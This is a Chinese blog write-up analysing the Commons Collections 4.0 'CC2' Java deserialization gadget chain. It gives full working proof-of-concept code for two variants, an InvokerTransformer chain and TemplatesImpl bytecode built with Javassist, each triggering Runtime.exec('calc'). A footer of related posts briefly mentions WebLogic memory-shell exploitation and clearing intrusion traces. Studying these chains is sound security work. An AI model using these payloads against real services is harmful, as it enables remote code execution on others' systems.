CC2分析与利用

news/2024/7/4 17:16:51/文章来源:https://www.cnblogs.com/gaorenyusi/p/18272249

CC2分析与利用

环境配置

一、

CC2 需要使用commons-collections-4.0版本,因为3.1-3.2.1版本中TransformingComparator没有实现Serializable接口,不能被序列化,所以CC2不用3.x版本。还需要 javassist 依赖,利用链2需要。

pom.xml 添加:

        <dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version></dependency>

二、

  • 关于commons-collections-4.0

    commons-collections-4.0不再认为是一个用来替换common-collection的新版本,而是一个新的包。两者的命名空间不冲突,可以共存在同一个项目中。所以在common-collection4-4.0下,依旧能利用common-collection-3.1的调用链,只是换了个包名而已。

  • 关于Javassit:

    Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件

三、

环境:

jdk8u71

commons-collections-4.0

利用链1分析

在ysoserial中给了链子,起点类是PriorityQueue.readObject()

readObject()

知道调用链就直接正向分析吧,先看它的readObject函数:

QQ截图20240627170650

调用了heapify函数,跟进:

QQ截图20240627170743

看到当i>=0时进入for循环,i=(size >>> 1) -1将size进行了右移操作。继续调用了siftDown方法。

QQ截图20240627171007

有个if条件,先不管,满足条件后调用了siftDownUsingComparator方法,跟进

QQ截图20240627171209

看上面的利用链可以看到是利用了TransformingComparator类的compare方法(该类是commons-collections-4.0特有的)。这里我们需要用的是第二if中的compare方法,为什么不用第一个if中的呢?因为调试后面poc时就是走的第二个,猜测可能是不满足条件。

comparator就是一个接口,而TransformingComparator实现了该接口,所以我们这里要让comparator为TransformingComparator对象,就可以调用TransformingComparator的compare方法了,跟进重写的该方法:

compare()

QQ截图20240627173036

发现调用了transform方法,并且可以通过控制this.transformer来控制调用哪个对象的transform方法。

可以调用任意对象的transform方法了,剩下的就不用多说了。

链子:

PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()TransformingComparator.compare()InvokerTransformer.transform()

poc编写

先准备好PriorityQueue类和TransformingComparator类,PriorityQueue类构造函数:

QQ截图20240627174619

在看看TransformingComparator的构造函数

QQ截图20240627194841

我们调用的是第一个,然后第一个会调用第二个构造函数,我们只用传入我们需要执行transform方法的对象这个参数就行了。

所以先构造:

package org.example;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.util.PriorityQueue;public class CC2 {public static void main(String[] args)throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};ChainedTransformer cha = new ChainedTransformer(transformers);PriorityQueue  queue = new PriorityQueue(1,new TransformingComparator(cha));

问题一、heapify方法条件满足

执行后没有弹计算机,因为发现在执行heapify方法中,需要满足(size >>> 1) - 1 ≥ 0,意思就是size>2,这个可以通过add方法来向PriorityQueue对象中存放值,但是具体实现的还是offer函数:

QQ截图20240627195131

构造poc:

package org.example;
import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;import java.io.*;
import java.util.PriorityQueue;public class CC2 {public static void main(String[] args)throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};ChainedTransformer cha = new ChainedTransformer(transformers);PriorityQueue  queue = new PriorityQueue(1,new TransformingComparator(cha));queue.add(1);queue.add(1);serilize(pri);deserilize("ser.bin");}public static void serilize(Object obj)throws IOException {ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));out.writeObject(obj);}public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));Object obj=in.readObject();return obj;}
}

这次成功弹计算机了,不过在反序列化的时候调试发现根本就没触发方法,看来是序列化的时候出问题了。后面看了师傅们的文章,发现是在add出的问题。

问题二、解决add提前触发

QQ截图20240627201750

看见add调用offer方法的时候,会调用到sifUp方法,而这个方法又会直接调用到siftUpUsingComparator

QQ截图20240627201946

导致执行compare提前弹出计算机。那么我们可以让comparator = null,让sifUp调用 siftUpComparable 方法,那里面没有compare方法。

QQ截图20240627203934

PriorityQueue queue = new PriorityQueue(1);

但待会还是得要 comparator,所以在 add 执行完后利用反射修改comparatorTcomparator对象

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");field.setAccessible(true);field.set(queue,new TransformingComparator(cha));

所以最终poc:

package org.example;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class CC2 {public static void main(String[] args)throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};ChainedTransformer cha = new ChainedTransformer(transformers);PriorityQueue queue = new PriorityQueue(1);queue.add(1);queue.add(1);Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");field.setAccessible(true);field.set(queue,new TransformingComparator(cha));serilize(queue);deserilize("ser.bin");}public static void serilize(Object obj)throws IOException {ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));out.writeObject(obj);}public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));Object obj=in.readObject();return obj;}
}

QQ截图20240627204834

利用链2分析

在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;

看了师傅们的分析,这个利用链2无非就是把最后函数调用改为了利用temlatesimpl动态加载字节码来加载恶意类。

直接看到最后compare函数:

QQ截图20240627212222

我们想要利用temlatesimpl动态加载字节码就需要调用TemplatesImpl.newTransformer()方法,所以这里this.transformer可以为InvokerTransformer,直接利用InvokerTransformer反射调用TemplatesImpl.newTransformer()(也可以结合cc3不用InvokerTransformer类,利用InstantiateTransformer类来实现调用)。

所以这里obj1参数得为TemplatesImpl对象。向上朔源obj1也就是我们传入的queue[0],待会可以利用反射给其赋值。

动态加载字节码不用多说了:

        TemplatesImpl tem =new TemplatesImpl();  byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  setValue(tem, "_bytecodes", new byte[][]{code});  setValue(tem, "_tfactory", new TransformerFactoryImpl());  setValue(tem, "_name", "gaoren");  setValue(tem, "_class", null);  

只不过这里的byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class")); 要更换一下,因为上面说了这里引入了Javassit依赖,这个依赖可以直接生成Java生成的字节码(感觉不如直接的class文件好用)。

利用Javassit依赖生成java的class字节码:

        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";ClassPool classPool=ClassPool.getDefault();//返回默认的类池classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径CtClass payload=classPool.makeClass("gaoren");//创建一个新的public类payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的gaoren类的父类为AbstractTransletpayload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] code = payload.toBytecode();

反射设置queue[0]的值

        Object[] queue_array = new Object[]{tem,1};Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");queue_field.setAccessible(true);queue_field.set(queue,queue_array);

剩下的就没什么多说的了,从readObject打到compare方法的利用链和上面是一样的。

poc:

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class CC2 {public static void main(String[] args)throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";ClassPool classPool=ClassPool.getDefault();//返回默认的类池classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径CtClass payload=classPool.makeClass("gaoren");//创建一个新的public类payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的gaoren类的父类为AbstractTransletpayload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtimeTemplatesImpl tem =new TemplatesImpl();byte[] code = payload.toBytecode();setValue(tem, "_bytecodes", new byte[][]{code});setValue(tem, "_tfactory", new TransformerFactoryImpl());setValue(tem, "_name", "gaoren");setValue(tem, "_class", null);InvokerTransformer inv = new InvokerTransformer("newTransformer", null,null);PriorityQueue queue = new PriorityQueue(1);queue.add(1);queue.add(1);Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");field.setAccessible(true);field.set(queue,new TransformingComparator(inv));Object[] queue_array = new Object[]{tem,1};Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");queue_field.setAccessible(true);queue_field.set(queue,queue_array);serilize(queue);deserilize("ser.bin");}public static void serilize(Object obj)throws IOException {ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));out.writeObject(obj);}public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));Object obj=in.readObject();return obj;}public static void setValue(Object obj,String fieldName,Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/732443.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【计算机网络】TCP连接三次握手和四次挥手

三次握手建立连接 TCP(传输控制协议)的三次握手机制是一种用于在两个 TCP 主机之间建立一个可靠的连接的过程。这个机制确保了两端的通信是同步的,并且在数据传输开始前,双方都准备好了进行通信。①、第一次握手:SYN(最开始都是 CLOSE,之后服务器进入 LISTEN)发起连接:…

原型设计

原型设计的重要性 网页原型显示了网页的骨架结构,因此可以更好地了解用户将去哪里以及如何导航,通过视觉方式表达产品的要求。 网页原型还有助于交流想法和规划网页,提高团队沟通的效率和质量,进行高效协作。 设计团队与客户沟通变得容易,能够有效地减少了返工和误解,降低…

weblogic 漏洞复现

1.环境地址信息http://192.168.116.112:7001/console/ 2.使用漏洞检测工具,检测对应漏洞 选中对应漏洞检查,发现存在对应漏洞 3.漏洞利用 命令执行 内存马上传使用冰蝎连接 连接成功

详细解析ORB-SLAM3的源码

随着计算机视觉和机器人技术的发展,SLAM(同步定位与地图构建)技术在自动导航、机器人和无人机等领域中起着至关重要的作用。作为当前最先进的SLAM系统之一,ORB-SLAM3因其卓越的性能和开源特性,备受关注。本文将详细解析ORB-SLAM3的源码 ,帮助读者更好地理解其内部机制。 …

H3C之IRF典型配置举例(BFD MAD检测方式)

IRF典型配置举例(BFD MAD检测方式) 1、组网需求由于网络规模迅速扩大,当前中心设备(Device A)安全业务处理能力已经不能满足需求,现在需要另增一台设备Device B,将这两台设备组成一个IRF(如图所示),并配置BFD MAD进行分裂检测。2、组网图 IRF典型配置组网图(BFD MAD…

【攻防技术系列+反溯源】入侵痕迹清理

#溯源 #入侵痕迹清理 #攻防演练 在授权攻防演练中,攻击结束后,如何不留痕迹的清除日志和操作记录,以掩盖入侵踪迹,这其实是一个细致的技术活。 在蓝队的溯源中,攻击者的攻击路径都将记录在日志中,所遗留的工具也会被蓝队进行分析,在工具中可以查找特征,红队自研工具更容…

ProfibusDP主站转Modbus模块连接综合保护装置配置案例

常见的协议有Modbus协议,ModbusTCP协议,Profinet协议,Profibus协议,Profibus DP协议,EtherCAT协议,EtherNET协议等。本案例描述了如何使用ProfibusDP主站转Modbus模块(XD-MDPBM20)来连接综合保护装置(综保),实现数据交换和远程控制。通过配置ProfibusDP主站和Modbus…

HL集训日记(更新ing)

Day -inf 听说又要去海亮,感到恐慌,想起了被xxs碾压的日子,遂卷; Day -1 与学校说再见 Day 0 去机场,这次倒是没有人迟到力; 下大雨,冷,明明天气预报上气温是比DL热的,却这么冷!!! 到了HL,这回住进了24小时摆烂中心(确信,空调吹得好难受,,, gg并没有收手机,…

【计算机网络】TCP如何保证稳定性

连接管理 校验和 序列号/确认应答 流量控制 最大消息长度 超时重传 拥塞控制资料来源连接管理 TCP 使用三次握手和四次挥手保证可靠地建立连接和释放连接。 校验和 TCP 将保持它首部和数据的检验和。这是一个端到端的检验和,目的是检测数据在传输过程中的任何变化。如果接收端…

数据分析 | 数据清理的方法

数据清理的步骤# 一、读取数据 导入NumPy和Pandas数据库,用Pandas的read_csv函数读取原始数据集’e_commerce.csv’,使其转换成DataFrame格式,并赋值给变量df。 展示数据集的前5行和后5行。# 二、评估数据(整洁度、干净度) 创建一个新的变量cleaned_data = df(相当于复制…

iMovie视频剪辑入门

iMovie学习笔记自己不是摄影爱好者📹(也许以后是,说不准),想学视频剪辑的原因如下:大一的一些小组作业有拍视频的任务,有时需要我承担剪辑的工作。因为不熟练,只能用剪映瞎折腾,浪费不少时间。系统地学习可以让我更好地完成剪辑工作。 想了解iMovie本身。本文是我的i…

域渗透之CSMSF联动权限传递

cs与msf会话的相互派生,记个笔记以免忘记具体的操作。cs派生给msf环境:msf6 + cs4.8条件:目标已上线cs,获得控制权1)在msf上启用reverse_http模块监听本地端口: use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.88.128 set l…

免费可视化工具能为我们的工作带来什么好处?

免费可视化工具能为我们的工作带来什么好处?在如今数据密集的工作环境中,如何高效地处理和展示数据成为了每个行业的重要任务。传统的工具如Excel虽然强大,但在处理复杂数据和创建高级图表时往往显得力不从心。而免费可视化工具的出现,彻底改变了这一局面,不仅大大提升了工…

MCU点灯实验小结

设备采用芯片:STM32F407ZET6 4个LED灯,网络标号分别为LED0 ,LED1,FSMC D10,FSMC D11。对应的引脚号分别为PF9,PF10,PE12,PE13。 GPIO外设基本概念 General-Purpose Input Output,通用型输入输出的,也简称I/O口,有时也简写为IO口。用于电信号的传递,以实现与外部器件的通信…

南昌航空大学-23201406-耿乐-第三次OOP博客作业

对于最后两次题目集中的题目和做题情况的总结,包括电路模拟程序3和4。 一、前言总结两次题目集的题目情况关于题目集 最后两次题目集中都只有一道题目,是电路模拟程序的系列迭代,没有额外的题目。 题目本身 第七次题目集中的电路模拟3并不是太难,只要理清题目中的要求和电路…

记录c#开发Windows服务的过程

1.新建Windows服务项目 2.重命名Service1.cs 3.添加安装程序 4.修改service,修改信息如下:备注:ServiceName和安装后的服务名保持一致哦!!!5.修改serviceProcessInstaller1 6.编辑TransService代码 7.添加新项目窗体应用程序 代码:1 using System;2 using System.Win…

操作系统启动的过程

目录操作系统,启动!大致过程重要程序bootsect.ssetup.shead.s 操作系统,启动! 大致过程 ​ 计算机的工作方式是取指执行,而执行其的前提是内存中有代码。操作系统刚开始并不是在内存中,而是在磁盘上,因此第一步需要将其以一定的方式从磁盘读入内存。(1)x86PC刚开机时C…

(我个人的)atcoder我的补题记录汇总

2024.06.27 : 根据题目难度和standing最后提交人数是否补题,大概在难度600及以下的 补完2024.06.22及之前的

最近在读《谁说菜鸟不会数据分析 SPSS篇》pdf分享

《谁说菜鸟不会数据分析(SPSS篇)》继续采用职场三人行的方式来构建内容,细致梳理了准专业数据分析的常见问题,并且挑选出企业实践中最容易碰到的案例,以最轻松直白的方式来讲好数据分析的故事。谁说菜鸟不会数据分析 SPSS篇 《谁说菜鸟不会数据分析(SPSS篇)》继续采用职…

TypeScript实现贪吃蛇效果

项目参考教程:贪吃蛇案例1.项目搭建 1.1 项目结构搭建 创建一个名为xxx的项目 项目初始化 npm init -y 安装后面需要用到的依赖,在package.json中查看 项目根目录创建名为tsconfig.json的文件并更改内容如下: {"compilerOptions": {"module": "ES2…